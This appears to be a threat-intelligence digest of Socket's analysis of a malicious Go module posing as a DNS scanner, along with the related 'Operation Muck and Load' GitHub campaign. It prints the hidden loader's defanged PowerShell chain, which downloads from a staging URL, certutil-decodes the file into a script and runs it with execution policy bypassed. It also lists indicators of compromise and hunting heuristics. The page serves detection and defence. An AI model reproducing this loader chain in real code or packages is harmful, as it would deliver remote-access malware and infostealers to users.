
Socket: Operation Muck and Load
Socket details "Operation Muck and Load," a campaign starting with a malicious Go module (github.com/kaleidora/dnsub-scanning-tool) that impersonates a DNS scanner but launches hidden PowerShell to fetch and decode a multi-layer, XOR-encrypted loader. The loader resolves encrypted payload locations from public dead drops (Pastebin, GitHub, YouTube, Instagram, Telegram, Google Docs), retrieves a password-protected .7z archive masquerading as Microsoft Photos, and deploys AsyncRAT/Quasar/Remcos-style RATs and Vidar infostealer. Pivoting from the module, Socket uncovered 222 GitHub repositories across 190 accounts using automated force-push workflows tied to a single email (ischhfd83@rambler.ru) to fake activity and credibility, some directly hosting Vidar, XMRig/BitMiner, and trojan loaders.
What it is
Socket's analysis of the malicious Go module github[.]com/kaleidora/dnsub-scanning-tool, the entry point into "Operation Muck and Load." Beyond the summary, the page gives the concrete staging URL, file paths, and a distinctive version-sprawl signal useful for detection and hunting.
How it works
The module embeds a first-stage Windows loader at the top of main(), obscured with excessive horizontal whitespace, that runs before any scanner logic. Normalized and defanged, the hidden PowerShell does:
powershell.exe -WindowStyle Hidden -Command
Invoke-WebRequest hxxps://muckcoding[.]com/LG-LW/Api-Certificate
-> C:\Users\Public\Pictures\api.db
certutil -decode api.db -> C:\Users\Public\Pictures\L.ps1
start powershell.exe -ExecutionPolicy Bypass C:\Users\Public\Pictures\L.ps1C:\Users\Public\Pictures is chosen as a cross-user writable location that blends into a benign media directory; api.db masquerades as a cache but is certutil-decoded into a PowerShell script (a living-off-the-land decode with no custom binary).
Preconditions / Affected
The threat is content-and-intent malicious, but Socket notes the observed public source may not reliably execute through a normal go build/go install path without modification — the scanner code is incomplete and the malicious block sits before it. So the risk is primarily to anyone who copies, adapts, or runs the embedded loader logic, not necessarily an automatic build-time trigger.
What to do
Hunt for these indicators (the module is already blocked from the Go module proxy):
- Domains:
muckcoding[.]com,muckdeveloper[.]com - Staging URL:
hxxps://muckcoding[.]com/LG-LW/Api-Certificate - File paths:
C:\Users\Public\Pictures\api.db,C:\Users\Public\Pictures\L.ps1 - Behavior: hidden PowerShell (
-WindowStyle Hidden) chained withcertutil -decodeand-ExecutionPolicy Bypasswriting to a public media directory.
Version-sprawl heuristic: the module had 1,200+ versions, 700+ malicious, with the first published January 24, 2026 — implausible for a months-old small scanner. Socket attributes this to a GitHub Actions workflow generating timestamp commits surfaced as Go pseudo-versions; treat extreme pseudo-version volume on young, low-complexity modules as a hunting signal.
Caveats
- The "Muck and Load" name is a tracking label, not an attribution boundary — domains, emails, and repo names change.
- The 222-repo / 190-account cluster and the 14+ confirmed malware files (loaders/downloaders, Vidar, spyware/droppers, trojan-downloaders, XMRig/BitMiner) are Socket's confirmed subset, not necessarily the full scope.
- Takedowns and ecosystem blocks disrupt but do not eliminate the actor's tradecraft.
Organisations named here
- Exodus Movement, Inc.
- ischhfd83@rambler.ru
- T1036.005
- T1102.001
- T1195.001
- XMRig
Technologies named here
- Socket
- Go module ecosystem / Go module proxy
- GitHub
- certutil
- PowerShell
- 7-Zip
- Microsoft Defender
- ad-m/github-push-action
- Go
- GitHub Actions
- Windows
- MITRE ATT&CK
- Sophos
Techniques named here
- Supply chain compromise
- User Execution
- Command and Scripting Interpreter
- Hide Artifacts
- Obfuscated Files or Information
- Deobfuscate/Decode Files or Information
- Ingress Tool Transfer
- Web Service
- Application Layer Protocol
- Masquerading
- Disable or Modify Tools
- Modify Registry
- Abuse Elevation Control Mechanism
- Scheduled Task/Job
- Create or Modify System Process
- Credentials from Password Stores
- Stage Capabilities
- Screen Capture
- Process injection
- Inhibit System Recovery
- System Information Discovery
- Process Discovery
- Query Registry
Threat actors named here
- Operation Muck and Load
- ischhfd83-linked activity
- AsyncRAT
- Quasar
- Remcos
- Vidar
- XMRig
- BitMiner
Related in Supply Chain


